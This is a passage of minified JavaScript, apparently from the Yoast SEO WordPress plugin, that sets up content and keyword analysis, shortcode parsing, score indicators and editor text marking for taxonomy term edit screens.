this.hasParentTitle(t)&&(e=e.replace(/%%parent_title%%/,this.getParentTitleReplacement(t))),te()&&!(0,a.isUndefined)(this._currentParentPageTitle)&&(e=e.replace(/%%parent_title%%/,this._currentParentPageTitle)),e},pe.prototype.hasParentTitle=function(e){return!(0,a.isUndefined)(e)&&!(0,a.isUndefined)(e.prop("options"))},pe.prototype.getParentTitleReplacement=function(e){var t=e.find("option:selected").text();return t===(0,r.__)("(no parent)","wordpress-seo")?"":t},pe.ReplaceVar=ie;const ue=pe,me=window.wp.hooks,he="[^<>&/\\[\\]\0- =]+?",ge=new RegExp("\\["+he+"( [^\\]]+?)?\\]","g"),ye=new RegExp("\\[/"+he+"\\]","g");class we{constructor({registerPlugin:e,registerModification:t,pluginReady:s,pluginReloaded:n},i){this._registerModification=t,this._pluginReady=s,this._pluginReloaded=n,e("YoastShortcodePlugin",{status:"loading"}),this.bindElementEvents();const o="("+i.join("|")+")";this.shortcodesRegex=new RegExp(o,"g"),this.closingTagRegex=new RegExp("\\[\\/"+o+"\\]","g"),this.nonCaptureRegex=new RegExp("\\["+o+"[^\\]]*?\\]","g"),this.parsedShortcodes=[],this.loadShortcodes(this.declareReady.bind(this))}declareReady(){this._pluginReady("YoastShortcodePlugin"),this.registerModifications()}declareReloaded(){this._pluginReloaded("YoastShortcodePlugin")}registerModifications(){this._registerModification("content",this.replaceShortcodes.bind(this),"YoastShortcodePlugin")}removeUnknownShortCodes(e){return(e=e.replace(ge,"")).replace(ye,"")}replaceShortcodes(e){return"string"==typeof e&&this.parsedShortcodes.forEach((({shortcode:t,output:s})=>{e=e.replace(t,s)})),e=this.removeUnknownShortCodes(e)}loadShortcodes(e){const t=this.getUnparsedShortcodes(this.getShortcodes(this.getContentTinyMCE()));if(!(t.length>0))return e();this.parseShortcodes(t,e)}bindElementEvents(){const e=document.querySelector(".wp-editor-area"),t=(0,a.debounce)(this.loadShortcodes.bind(this,this.declareReloaded.bind(this)),500);e&&(e.addEventListener("keyup",t),e.addEventListener("change",t)),"undefined"!=typeof tinyMCE&&"function"==typeof tinyMCE.on&&tinyMCE.on("addEditor",(function(e){e.editor.on("change",t),e.editor.on("keyup",t)}))}getContentTinyMCE(){let e=document.querySelector(".wp-editor-area")?document.querySelector(".wp-editor-area").value:"";return"undefined"!=typeof tinyMCE&&void 0!==tinyMCE.editors&&0!==tinyMCE.editors.length&&(e=tinyMCE.get("content")?tinyMCE.get("content").getContent():""),e}getUnparsedShortcodes(e){return"object"!=typeof e?(console.error("Failed to get unparsed shortcodes. Expected parameter to be an array, instead received "+typeof e),!1):e.filter((e=>this.isUnparsedShortcode(e)))}isUnparsedShortcode(e){return!this.parsedShortcodes.some((({shortcode:t})=>t===e))}getShortcodes(e){if("string"!=typeof e)return console.error("Failed to get shortcodes. Expected parameter to be a string, instead received"+typeof e),!1;const t=this.matchCapturingShortcodes(e);t.forEach((t=>{e=e.replace(t,"")}));const s=this.matchNonCapturingShortcodes(e);return t.concat(s)}matchCapturingShortcodes(e){const t=(e.match(this.closingTagRegex)||[]).join(" ").match(this.shortcodesRegex)||[];return(0,a.flatten)(t.map((t=>{const s="\\["+t+"[^\\]]*?\\].*?\\[\\/"+t+"\\]";return e.match(new RegExp(s,"g"))||[]})))}matchNonCapturingShortcodes(e){return e.match(this.nonCaptureRegex)||[]}parseShortcodes(e,t){return"function"!=typeof t?(console.error("Failed to parse shortcodes. Expected parameter to be a function, instead received "+typeof t),!1):"object"==typeof e&&e.length>0?void jQuery.post(ajaxurl,{action:"wpseo_filter_shortcodes",_wpnonce:wpseoScriptData.analysis.plugins.shortcodes.wpseo_filter_shortcodes_nonce,data:e},function(e){this.saveParsedShortcodes(e,t)}.bind(this)):t()}saveParsedShortcodes(e,t){const s=JSON.parse(e);this.parsedShortcodes.push(...s),t()}}const fe=we,{updateShortcodesForParsing:be}=c.actions;function _e(e){var t=jQuery(".yst-traffic-light"),s=t.closest(".wpseo-meta-section-link"),n=jQuery("#wpseo-traffic-light-desc"),i=e.className||"na";t.attr("class","yst-traffic-light "+i),s.attr("aria-describedby","wpseo-traffic-light-desc"),n.length>0?n.text(e.screenReaderText):s.closest("li").append("<span id='wpseo-traffic-light-desc' class='screen-reader-text'>"+e.screenReaderText+"</span>")}function Ee(e){jQuery("#wp-admin-bar-wpseo-menu .wpseo-score-icon").attr("title",e.screenReaderText).attr("class","wpseo-score-icon "+e.className).find(".wpseo-score-text").text(e.screenReaderText)}function ve(){return(0,a.get)(window,"wpseoScriptData.metabox",{intl:{},isRtl:!1})}function ke(){const e=ve();return(0,a.get)(e,"contentLocale","en_US")}function Se(){const e=ve();return!0===(0,a.get)(e,"contentAnalysisActive",!1)}function xe(){const e=ve();return!0===(0,a.get)(e,"keywordAnalysisActive",!1)}function Re(){const e=ve();return!0===(0,a.get)(e,"inclusiveLanguageAnalysisActive",!1)}const Oe=window.yoast.featureFlag;function Pe(){}let Ce=!1;function Te(e){return e.sort(((e,t)=>e._identifier.localeCompare(t._identifier)))}function Ae(e,t,s,n,i){if(!Ce)return;const o=I.Paper.parse(t());e.analyze(o).then((a=>{const{result:{seo:r,readability:l,inclusiveLanguage:d}}=a;if(r){const e=r[""];e.results.forEach((e=>{e.getMarker=()=>()=>s(o,e.marks)})),e.results=Te(e.results),n.dispatch(c.actions.setSeoResultsForKeyword(o.getKeyword(),e.results)),n.dispatch(c.actions.setOverallSeoScore(e.score,o.getKeyword())),n.dispatch(c.actions.refreshSnippetEditor()),i.saveScores(e.score,o.getKeyword())}l&&(l.results.forEach((e=>{e.getMarker=()=>()=>s(o,e.marks)})),l.results=Te(l.results),n.dispatch(c.actions.setReadabilityResults(l.results)),n.dispatch(c.actions.setOverallReadabilityScore(l.score)),n.dispatch(c.actions.refreshSnippetEditor()),i.saveContentScore(l.score)),d&&(d.results.forEach((e=>{e.getMarker=()=>()=>s(o,e.marks)})),d.results=Te(d.results),n.dispatch(c.actions.setInclusiveLanguageResults(d.results)),n.dispatch(c.actions.setOverallInclusiveLanguageScore(d.score)),n.dispatch(c.actions.refreshSnippetEditor()),i.saveInclusiveLanguageScore(d.score)),(0,me.doAction)("yoast.analysis.refresh",a,{paper:o,worker:e,collectData:t,applyMarks:s,store:n,dataCollector:i})})).catch(Pe)}const Ne=window.wp.blocks,Me="yoast-measurement-element";function Ie(e){let t=document.getElementById(Me);return t||(t=function(){const e=document.createElement("div");return e.id=Me,e.style.position="absolute",e.style.left="-9999em",e.style.top=0,e.style.height=0,e.style.overflow="hidden",e.style.fontFamily="arial, sans-serif",e.style.fontSize="20px",e.style.fontWeight="400",document.body.appendChild(e),e}()),t.innerText=e,t.offsetWidth}const Le=e=>(e=e.filter((e=>e.isValid))).map((e=>{const t=(0,Ne.serialize)([e],{isInnerBlocks:!1});return e.blockLength=t&&t.length,e.innerBlocks&&(e.innerBlocks=Le(e.innerBlocks)),e}));function Fe(e){return(0,a.isNil)(e)||(e/=10),function(e){switch(e){case"feedback":return{className:"na",screenReaderText:(0,r.__)("Not available","wordpress-seo"),screenReaderReadabilityText:(0,r.__)("Not available","wordpress-seo"),screenReaderInclusiveLanguageText:(0,r.__)("Not available","wordpress-seo")};case"bad":return{className:"bad",screenReaderText:(0,r.__)("Needs improvement","wordpress-seo"),screenReaderReadabilityText:(0,r.__)("Needs improvement","wordpress-seo"),screenReaderInclusiveLanguageText:(0,r.__)("Needs improvement","wordpress-seo")};case"ok":return{className:"ok",screenReaderText:(0,r.__)("OK SEO score","wordpress-seo"),screenReaderReadabilityText:(0,r.__)("OK","wordpress-seo"),screenReaderInclusiveLanguageText:(0,r.__)("Potentially non-inclusive","wordpress-seo")};case"good":return{className:"good",screenReaderText:(0,r.__)("Good SEO score","wordpress-seo"),screenReaderReadabilityText:(0,r.__)("Good","wordpress-seo"),screenReaderInclusiveLanguageText:(0,r.__)("Good","wordpress-seo")};default:return{className:"loading",screenReaderText:"",screenReaderReadabilityText:"",screenReaderInclusiveLanguageText:""}}}(I.interpreters.scoreToRating(e))}const Be=jQuery,De=function(e){"object"==typeof CKEDITOR&&console.warn("YoastSEO currently doesn't support ckEditor. The content analysis currently only works with the HTML editor or TinyMCE."),this._store=e.store};De.prototype.getData=function(){const e={title:this.getSnippetTitle(),keyword:xe()?this.getKeyword():"",text:this.getText(),permalink:this.getPermalink(),snippetCite:this.getSnippetCite(),snippetTitle:this.getSnippetTitle(),snippetMeta:this.getSnippetMeta(),name:this.getName(),baseUrl:this.getBaseUrl(),pageTitle:this.getSnippetTitle(),titleWidth:Ie(this.getSnippetTitle())},t=this._store.getState();return{...e,metaTitle:(0,a.get)(t,["analysisData","snippet","title"],this.getSnippetTitle()),url:(0,a.get)(t,["snippetEditor","data","slug"],this.getSlug()),meta:(0,a.get)(t,["analysisData","snippet","description"],this.getSnippetMeta())}},De.prototype.getKeyword=function(){return document.getElementById("hidden_wpseo_focuskw").value},De.prototype.getText=function(){return function(e){let t="";var s;return t=!1===H(e)||0==(s=e,null!==document.getElementById(s+"_ifr"))?function(e){return document.getElementById(e)&&document.getElementById(e).value||""}(e):tinyMCE.get(e).getContent(),t}(W)},De.prototype.getSlug=function(){return document.getElementById("slug").value},De.prototype.getPermalink=function(){const e=this.getSlug();return this.getBaseUrl()+e+"/"},De.prototype.getSnippetCite=function(){return this.getSlug()},De.prototype.getSnippetTitle=function(){return document.getElementById("hidden_wpseo_title").value},De.prototype.getSnippetMeta=function(){const e=document.getElementById("hidden_wpseo_desc");return e?e.value:""},De.prototype.getName=function(){return document.getElementById("name").value},De.prototype.getBaseUrl=function(){return wpseoScriptData.metabox.base_url},De.prototype.setDataFromSnippet=function(e,t){switch(t){case"snippet_meta":document.getElementById("hidden_wpseo_desc").value=e;break;case"snippet_cite":document.getElementById("slug").value=e;break;case"snippet_title":document.getElementById("hidden_wpseo_title").value=e}},De.prototype.saveSnippetData=function(e){this.setDataFromSnippet(e.title,"snippet_title"),this.setDataFromSnippet(e.urlPath,"snippet_cite"),this.setDataFromSnippet(e.metaDesc,"snippet_meta")},De.prototype.bindElementEvents=function(e){this.inputElementEventBinder(e)},De.prototype.inputElementEventBinder=function(e){const t=["name",W,"slug","wpseo_focuskw"];for(let s=0;s<t.length;s++)null!==document.getElementById(t[s])&&document.getElementById(t[s]).addEventListener("input",e);!function(e,t){Q(t,["input","change","cut","paste"],e),Q(t,["hide"],G);const s=["show"];(new z).isPageBuilderActive()||s.push("init"),Q(t,s,Z),Q("content",["focus"],(function(e){const t=e.target;(function(e){return-1!==e.getContent({format:"raw"}).indexOf("<"+F)})(t)&&(function(e){U(e)(null,[])}(t),YoastSEO.app.disableMarkers()),(0,a.isUndefined)(K)||K.dispatch(c.actions.setMarkerPauseStatus(!0))})),Q("content",["blur"],(function(){(0,a.isUndefined)(K)||K.dispatch(c.actions.setMarkerPauseStatus(!1))}))}(e,W)},De.prototype.saveScores=function(e){const t=Fe(e);document.getElementById("hidden_wpseo_linkdex").value=e,jQuery(window).trigger("YoastSEO:numericScore",e),_e(t),Ee(t)},De.prototype.saveContentScore=function(e){const t=Fe(e);xe()||(_e(t),Ee(t)),Be("#hidden_wpseo_content_score").val(e)},De.prototype.saveInclusiveLanguageScore=function(e){const t=Fe(e);xe()||Se()||(_e(t),Ee(t)),Be("#hidden_wpseo_inclusive_language_score").val(e)};const Ue=De;class je{constructor(){this._callbacks=[],this.register=this.register.bind(this)}register(e){(0,a.isFunction)(e)&&this._callbacks.push(e)}getData(){let e={};return this._callbacks.forEach((t=>{e=(0,a.merge)(e,t())})),e}}window.wp.annotations;const Ye=function(e){return(0,a.uniq)((0,a.flatten)(e.map((e=>{if(!(0,a.isUndefined)(e.getFieldsToMark()))return e.getFieldsToMark()}))))},qe=window.wp.richText,$e=/(<([a-z]|\/)[^<>]+>)/gi,{htmlEntitiesRegex:ze}=I.helpers.htmlEntities,Ke=e=>{let t=0;return(0,a.forEachRight)(e,(e=>{const[s]=e;let n=s.length;/^<\/?br/.test(s)&&(n-=1),t+=n})),t},Ve="<yoastmark class='yoast-text-mark'>",We="</yoastmark>",He='<yoastmark class="yoast-text-mark">';function Qe(e,t,s,n,i){const o=n.clientId,r=(0,qe.create)({html:e,multilineTag:s.multilineTag,multilineWrapperTag:s.multilineWrapperTag}).text;return(0,a.flatMap)(i,(s=>{let i;return i=s.hasBlockPosition&&s.hasBlockPosition()?function(e,t,s,n,i){if(t===e.getBlockClientId()){let t=e.getBlockPositionStart(),o=e.getBlockPositionEnd();if(e.isMarkForFirstBlockSection()){const e=((e,t,s)=>{const n="yoast/faq-block"===s?'<strong class="schema-faq-question">':'<strong class="schema-how-to-step-name">';return{blockStartOffset:e-=n.length,blockEndOffset:t-=n.length}})(t,o,s);t=e.blockStartOffset,o=e.blockEndOffset}if(n.slice(t,o)===i.slice(t,o))return[{startOffset:t,endOffset:o}];const r=((e,t,s)=>{const n=s.slice(0,e),i=s.slice(0,t),o=((e,t,s,n)=>{const i=[...e.matchAll($e)];s-=Ke(i);const o=[...t.matchAll($e)];return{blockStartOffset:s,blockEndOffset:n-=Ke(o)}})(n,i,e,t),r=((e,t,s,n)=>{let i=[...e.matchAll(ze)];return(0,a.forEachRight)(i,(e=>{const[,t]=e;s-=t.length})),i=[...t.matchAll(ze)],(0,a.forEachRight)(i,(e=>{const[,t]=e;n-=t.length})),{blockStartOffset:s,blockEndOffset:n}})(n,i,e=o.blockStartOffset,t=o.blockEndOffset);return{blockStartOffset:e=r.blockStartOffset,blockEndOffset:t=r.blockEndOffset}})(t,o,n);return[{startOffset:r.blockStartOffset,endOffset:r.blockEndOffset}]}return[]}(s,o,n.name,e,r):function(e,t){const s=t.getOriginal().replace(/(<([^>]+)>)/gi,""),n=t.getMarked().replace(/(<(?!\/?yoastmark)[^>]+>)/gi,""),i=function(e,t,s=!0){const n=[];if(0===e.length)return n;let i,o=0;for(s||(t=t.toLowerCase(),e=e.toLowerCase());(i=e.indexOf(t,o))>-1;)n.push(i),o=i+t.length;return n}(e,s);if(0===i.length)return[];const o=function(e){let t=e.indexOf(Ve);const s=t>=0;s||(t=e.indexOf(He));let n=null;const i=[];for(;t>=0;){if(n=(e=s?e.replace(Ve,""):e.replace(He,"")).indexOf(We),n<t)return[];e=e.replace(We,""),i.push({startOffset:t,endOffset:n}),t=s?e.indexOf(Ve):e.indexOf(He),n=null}return i}(n),a=[];return o.forEach((e=>{i.forEach((n=>{const i=n+e.startOffset;let o=n+e.endOffset;0===e.startOffset&&e.endOffset===t.getOriginal().length&&(o=n+s.length),a.push({startOffset:i,endOffset:o})}))})),a}(r,s),i?i.map((e=>({...e,block:o,richTextIdentifier:t}))):[]}))}const Ge=e=>e[0].toUpperCase()+e.slice(1),Ze=(e,t,s,n,i)=>(e=e.map((e=>{const o=`${e.id}-${i[0]}`,a=`${e.id}-${i[1]}`,r=Ge(i[0]),l=Ge(i[1]),c=e[`json${r}`],d=e[`json${l}`],{marksForFirstSection:p,marksForSecondSection:u}=((e,t)=>({marksForFirstSection:e.filter((e=>e.hasBlockPosition&&e.hasBlockPosition()?e.getBlockAttributeId()===t.id&&e.isMarkForFirstBlockSection():e)),marksForSecondSection:e.filter((e=>e.hasBlockPosition&&e.hasBlockPosition()?e.getBlockAttributeId()===t.id&&!e.isMarkForFirstBlockSection():e))}))(t,e),m=Qe(c,o,s,n,p),h=Qe(d,a,s,n,u);return m.concat(h)})),(0,a.flattenDeep)(e)),Je="yoast";let Xe=[];const et={"core/paragraph":[{key:"content"}],"core/list":[{key:"values",multilineTag:"li",multilineWrapperTag:["ul","ol"]}],"core/list-item":[{key:"content"}],"core/heading":[{key:"content"}],"core/audio":[{key:"caption"}],"core/embed":[{key:"caption"}],"core/gallery":[{key:"caption"}],"core/image":[{key:"caption"}],"core/table":[{key:"caption"}],"core/video":[{key:"caption"}],"yoast/faq-block":[{key:"questions"}],"yoast/how-to-block":[{key:"steps"},{key:"jsonDescription"}]};function tt(){const e=Xe.shift();e&&((0,l.dispatch)("core/annotations").__experimentalAddAnnotation(e),st())}function st(){(0,a.isFunction)(window.requestIdleCallback)?window.requestIdleCallback(tt,{timeout:1e3}):setTimeout(tt,150)}const nt=(e,t)=>{return(0,a.flatMap)((s=e.name,et.hasOwnProperty(s)?et[s]:[]),(s=>"yoast/faq-block"===e.name?((e,t,s)=>{const n=t.attributes[e.key];return 0===n.length?[]:Ze(n,s,e,t,["question","answer"])})(s,e,t):"yoast/how-to-block"===e.name?((e,t,s)=>{const n=t.attributes[e.key];if(n&&0===n.length)return[];const i=[];return"steps"===e.key&&i.push(Ze(n,s,e,t,["name","text"])),"jsonDescription"===e.key&&(s=s.filter((e=>e.hasBlockPosition&&e.hasBlockPosition()?!e.getBlockAttributeId():e)),i.push(Qe(n,"description",e,t,s))),(0,a.flattenDeep)(i)})(s,e,t):function(e,t,s){const n=e.key,i=((e,t)=>{const s=e.attributes[t];return"string"==typeof s?s:(s||"").toString()})(t,n);return Qe(i,n,e,t,s)}(s,e,t)));var s};function it(e,t){return(0,a.flatMap)(e,(e=>{const s=function(e){return e.innerBlocks.length>0}(e)?it(e.innerBlocks,t):[];return nt(e,t).concat(s)}))}function ot(e){Xe=[],(0,l.dispatch)("core/annotations").__experimentalRemoveAnnotationsBySource(Je);const t=Ye(e);if(0===e.length)return;let s=(0,l.select)("core/block-editor").getBlocks();var n;t.length>0&&(s=s.filter((e=>t.some((t=>"core/"+t===e.name))))),n=it(s,e),Xe=n.map((e=>({blockClientId:e.block,source:Je,richTextIdentifier:e.richTextIdentifier,range:{start:e.startOffset,end:e.endOffset}}))),st()}function at(e,t){let s;H(V)&&((0,a.isUndefined)(s)&&(s=U(tinyMCE.get(V))),s(e,t)),(0,l.select)("core/block-editor")&&(0,a.isFunction)((0,l.select)("core/block-editor").getBlocks)&&(0,l.select)("core/annotations")&&(0,a.isFunction)((0,l.dispatch)("core/annotations").__experimentalAddAnnotation)&&(function(e,t){tinyMCE.editors.map((e=>U(e))).forEach((s=>s(e,t)))}(e,t),ot(t)),(0,me.doAction)("yoast.analysis.applyMarks",t)}var rt=jQuery;function lt(e,t,s,n,i){this._scriptUrl=n,this._options={usedKeywords:t.keyword_usage,usedKeywordsPostTypes:t.keyword_usage_post_types,searchUrl:t.search_url,postUrl:t.post_edit_url},this._keywordUsage=t.keyword_usage,this._usedKeywordsPostTypes=t.keyword_usage_post_types,this._postID=rt("#post_ID, [name=tag_ID]").val(),this._taxonomy=rt("[name=taxonomy]").val()||"",this._nonce=i,this._ajaxAction=e,this._refreshAnalysis=s,this._initialized=!1}lt.prototype.init=function(){const{worker:e}=window.YoastSEO.analysis;this.requestKeywordUsage=(0,a.debounce)(this.requestKeywordUsage.bind(this),500),e.loadScript(this._scriptUrl).then((()=>{e.sendMessage("initialize",this._options,"used-keywords-assessment")})).then((()=>{this._initialized=!0,(0,a.isEqual)(this._options.usedKeywords,this._keywordUsage)?this._refreshAnalysis():e.sendMessage("updateKeywordUsage",this._keywordUsage,"used-keywords-assessment").then((()=>this._refreshAnalysis()))})).catch((e=>console.error(e)))},lt.prototype.setKeyword=function(e){(0,a.has)(this._keywordUsage,e)||this.requestKeywordUsage(e)},lt.prototype.requestKeywordUsage=function(e){rt.post(ajaxurl,{action:this._ajaxAction,post_id:this._postID,keyword:e,taxonomy:this._taxonomy,nonce:this._nonce},this.updateKeywordUsage.bind(this,e),"json")},lt.prototype.updateKeywordUsage=function(e,t){const{worker:s}=window.YoastSEO.analysis,n=t.keyword_usage,i=t.post_types;n&&(0,a.isArray)(n)&&(this._keywordUsage[e]=n,this._usedKeywordsPostTypes[e]=i,this._initialized&&s.sendMessage("updateKeywordUsage",{usedKeywords:this._keywordUsage,usedKeywordsPostTypes:this._usedKeywordsPostTypes},"used-keywords-assessment").then((()=>this._refreshAnalysis())))};const{refreshSnippetEditor:ct,updateData:dt,setFocusKeyword:pt,setCornerstoneContent:ut,setMarkerStatus:mt,setReadabilityResults:ht,setSeoResultsForKeyword:gt}=c.actions;function yt(e,t,s){var n,i;const o=new je;function r(){const e={slug:i.val()};window.YoastSEO.store.dispatch(dt(e))}function c(e){(0,a.isUndefined)(e.seoAssessorPresenter)||(e.seoAssessorPresenter.render=function(){}),(0,a.isUndefined)(e.contentAssessorPresenter)||(e.contentAssessorPresenter.render=function(){},e.contentAssessorPresenter.renderIndividualRatings=function(){})}let d;function p(e,t){const s=d||"";d=e.getState().analysisData.snippet,!(0,L.isShallowEqualObjects)(s,d)&&t()}!function(){var d,u,m,h,g,y,w,f,b;m=jQuery(".term-description-wrap").find("td"),h=jQuery(".term-description-wrap").find("label"),g=m.find("textarea").val(),y=document.getElementById("wp-description-wrap"),w=m.find("p"),m.html(""),m.append(y).append(w),document.getElementById("description").value=g,h.replaceWith(h.html()),u=new Ue({store:t}),d={elementTarget:[W,"yoast_wpseo_focuskw","yoast_wpseo_metadesc","excerpt","editable-post-name","editable-post-name-full"],targets:(f={},xe()&&(f.output="does-not-really-exist-but-it-needs-something"),Se()&&(f.contentOutput="also-does-not-really-exist-but-it-needs-something"),f),callbacks:{getData:u.getData.bind(u)},locale:wpseoScriptData.metabox.contentLocale,contentAnalysisActive:Se(),keywordAnalysisActive:xe(),debouncedRefresh:!1,researcher:new window.yoast.Researcher.default},xe()&&(t.dispatch(pt(u.getKeyword())),d.callbacks.saveScores=u.saveScores.bind(u),d.callbacks.updatedKeywordsResults=function(e){const s=t.getState().focusKeyword;t.dispatch(gt(s,e)),t.dispatch(ct())}),Se()&&(t.dispatch(mt("hidden")),d.callbacks.saveContentScore=u.saveContentScore.bind(u),d.callbacks.updatedContentResults=function(e){t.dispatch(ht(e)),t.dispatch(ct())}),n=new I.App(d),window.YoastSEO=window.YoastSEO||{},window.YoastSEO.app=n,window.YoastSEO.store=t,window.YoastSEO.analysis={},window.YoastSEO.analysis.worker=function(){const e=(0,a.get)(window,["wpseoScriptData","analysis","worker","url"],"analysis-worker.js"),t=(0,I.createWorker)(e),s=(0,a.get)(window,["wpseoScriptData","analysis","worker","dependencies"],[]),n=[];for(const e in s){if(!Object.prototype.hasOwnProperty.call(s,e))continue;const t=window.document.getElementById(`${e}-js-translations`);if(!t)continue;const i=t.innerHTML.slice(214),o=i.indexOf(","),a=i.slice(0,o-1);try{const e=JSON.parse(i.slice(o+1,-4));n.push([a,e])}catch(t){console.warn(`Failed to parse translation data for ${e} to send to the Yoast SEO worker`);continue}}return t.postMessage({dependencies:s,translations:n}),new I.AnalysisWorkerWrapper(t)}(),window.YoastSEO.analysis.collectData=()=>function(e,t,s,n,i){const o=(0,a.cloneDeep)(t.getState());(0,a.merge)(o,s.getData());const r=e.getData();let l=null;i&&(l=i.getBlocks()||[],l=Le(l));const c={text:r.content,textTitle:r.title,keyword:o.focusKeyword,synonyms:o.synonyms,description:o.analysisData.snippet.description||o.snippetEditor.data.description,title:o.analysisData.snippet.title||o.snippetEditor.data.title,slug:o.snippetEditor.data.slug,permalink:o.settings.snippetEditor.baseUrl+o.snippetEditor.data.slug,wpBlocks:l,date:o.settings.snippetEditor.date};n.loaded&&(c.title=n._applyModifications("data_page_title",c.title),c.title=n._applyModifications("title",c.title),c.description=n._applyModifications("data_meta_desc",c.description),c.text=n._applyModifications("content",c.text),c.wpBlocks=n._applyModifications("wpBlocks",c.wpBlocks));const d=o.analysisData.snippet.filteredSEOTitle;return c.titleWidth=Ie(d||o.snippetEditor.data.title),c.locale=ke(),c.writingDirection=function(){let e="LTR";return ve().isRtl&&(e="RTL"),e}(),c.shortcodes=window.wpseoScriptData.analysis.plugins.shortcodes?window.wpseoScriptData.analysis.plugins.shortcodes.wpseo_shortcode_tags:[],c.isFrontPage="1"===(0,a.get)(window,"wpseoScriptData.isFrontPage","0"),I.Paper.parse((0,me.applyFilters)("yoast.analysis.data",c))}(s,window.YoastSEO.store,o,window.YoastSEO.app.pluggable),window.YoastSEO.analysis.applyMarks=(e,t)=>function(){const e=(0,l.select)("yoast-seo/editor").isMarkingAvailable(),t=(0,l.select)("yoast-seo/editor").getMarkerPauseStatus();return!e||t?a.noop:at}()(e,t),window.YoastSEO.app.refresh=(0,a.debounce)((()=>Ae(window.YoastSEO.analysis.worker,window.YoastSEO.analysis.collectData,window.YoastSEO.analysis.applyMarks,window.YoastSEO.store,u)),500),window.YoastSEO.app.registerCustomDataCallback=o.register,window.YoastSEO.app.pluggable=new J(window.YoastSEO.app.refresh),window.YoastSEO.app.registerPlugin=window.YoastSEO.app.pluggable._registerPlugin,window.YoastSEO.app.pluginReady=window.YoastSEO.app.pluggable._ready,window.YoastSEO.app.pluginReloaded=window.YoastSEO.app.pluggable._reloaded,window.YoastSEO.app.registerModification=window.YoastSEO.app.pluggable._registerModification,window.YoastSEO.app.registerAssessment=(e,t,s)=>{if(!(0,a.isUndefined)(n.seoAssessor))return window.YoastSEO.app.pluggable._registerAssessment(n.defaultSeoAssessor,e,t,s)&&window.YoastSEO.app.pluggable._registerAssessment(n.cornerStoneSeoAssessor,e,t,s)},window.YoastSEO.app.changeAssessorOptions=function(e){window.YoastSEO.analysis.worker.initialize(e).catch(Pe),window.YoastSEO.app.refresh()},function(e,t,s){const n=ve();if(!n.previouslyUsedKeywordActive)return;const i=new lt("get_term_keyword_usage",n,e,(0,a.get)(window,["wpseoScriptData","analysis","worker","keywords_assessment_url"],"used-keywords-assessment.js"),(0,a.get)(window,["wpseoScriptData","usedKeywordsNonce"],""));i.init();let o={};s.subscribe((()=>{const e=s.getState()||{};e.focusKeyword!==o.focusKeyword&&(o=e,i.setKeyword(e.focusKeyword))}))}(n.refresh,0,t),t.subscribe(p.bind(null,t,n.refresh)),xe()&&(n.seoAssessor=new I.TaxonomyAssessor(n.config.researcher),n.seoAssessorPresenter.assessor=n.seoAssessor),window.YoastSEO.wp={},window.YoastSEO.wp.replaceVarsPlugin=new ue(n,t),function(e,t){let s=[];s=(0,me.applyFilters)("yoast.analysis.shortcodes",s);const n=wpseoScriptData.analysis.plugins.shortcodes.wpseo_shortcode_tags;s=s.filter((e=>n.includes(e))),s.length>0&&(t.dispatch(be(s)),window.YoastSEO.wp.shortcodePlugin=new we({registerPlugin:e.registerPlugin,registerModification:e.registerModification,pluginReady:e.pluginReady,pluginReloaded:e.pluginReloaded},s))}(n,t),window.YoastSEO.analyzerArgs=d,(i=e("#slug")).on("change",r),u.bindElementEvents((0,a.debounce)((()=>Ae(window.YoastSEO.analysis.worker,window.YoastSEO.analysis.collectData,window.YoastSEO.analysis.applyMarks,window.YoastSEO.store,u)),500)),xe()&&(_e(b=Fe(e("#hidden_wpseo_linkdex").val())),Ee(b)),Se()&&function(){var t=Fe(e("#hidden_wpseo_content_score").val());_e(t),Ee(t)}(),Re()&&function(){const t=Fe(e("#hidden_wpseo_inclusive_language_score").val());_e(t),Ee(t)}(),window.YoastSEO.analysis.worker.initialize(function(e={}){const t={locale:ke(),contentAnalysisActive:Se(),keywordAnalysisActive:xe(),inclusiveLanguageAnalysisActive:Re(),defaultQueryParams:(0,a.get)(window,["wpseoAdminL10n","default_query_params"],{}),logLevel:(0,a.get)(window,["wpseoScriptData","analysis","worker","log_level"],"ERROR"),enabledFeatures:(0,Oe.enabledFeatures)()};return(0,a.merge)(t,e)}({useTaxonomy:!0})).then((()=>{jQuery(window).trigger("YoastSEO:ready")})).catch(Pe),c(n);const _=n.initAssessorPresenters.bind(n);n.initAssessorPresenters=function(){_(),c(n)};let E={title:(v=u).getSnippetTitle(),slug:v.getSnippetCite(),description:v.getSnippetMeta()};var v;!function(e){const s=document.getElementById("hidden_wpseo_is_cornerstone");let n="1"===s.value;t.dispatch(ut(n)),e.changeAssessorOptions({useCornerstone:n}),t.subscribe((()=>{const i=t.getState();i.isCornerstone!==n&&(n=i.isCornerstone,s.value=n?"1":"0",e.changeAssessorOptions({useCornerstone:n}))}))}(n);const k=function(e){const t={};if((0,a.isUndefined)(e))return t;t.title=e.title_template;const s=e.metadesc_template;return(0,a.isEmpty)(s)||(t.description=s),t}(wpseoScriptData.metabox);E=function(e,t){const s={...e};return(0,a.forEach)(t,((t,n)=>{(0,a.has)(e,n)&&""===e[n]&&(s[n]=t)})),s}(E,k),t.dispatch(dt(E));let S=t.getState().focusKeyword;X(window.YoastSEO.analysis.worker.runResearch,window.YoastSEO.store,S);const x=(0,a.debounce)((()=>{n.refresh()}),50);t.subscribe((()=>{const e=t.getState().focusKeyword;S!==e&&(S=e,X(window.YoastSEO.analysis.worker.runResearch,window.YoastSEO.store,S),document.getElementById("hidden_wpseo_focuskw").value=S,x());const s=function(e){const t=e.getState().snippetEditor.data;return{title:t.title,slug:t.slug,description:t.description}}(t),n=function(e,t){const s={...e};return(0,a.forEach)(t,((t,n)=>{(0,a.has)(e,n)&&e[n].trim()===t&&(s[n]="")})),s}(s,k);E.title!==s.title&&u.setDataFromSnippet(n.title,"snippet_title"),E.slug!==s.slug&&u.setDataFromSnippet(n.slug,"snippet_cite"),E.description!==s.description&&u.setDataFromSnippet(n.description,"snippet_meta"),E.title=s.title,E.slug=s.slug,E.description=s.description})),Ce=!0,window.YoastSEO.app.refresh()}()}window.yoastHideMarkers=!0,window.YoastReplaceVarPlugin=ue,window.YoastShortcodePlugin=fe;let wt=null;const ft=()=>{if(null===wt){const e=(0,l.dispatch)("yoast-seo/editor").runAnalysis;wt=window.YoastSEO.app&&window.YoastSEO.app.pluggable?window.YoastSEO.app.pluggable:new J(e)}return wt},bt=(e,t,s)=>ft().loaded?ft()._applyModifications(e,t,s):t;function _t(){const{getAnalysisData:e,getEditorDataTitle:t,getIsFrontPage:s}=(0,l.select)("yoast-seo/editor");let n=e();n={...n,textTitle:t(),isFrontPage:s()};const i=function(e){return 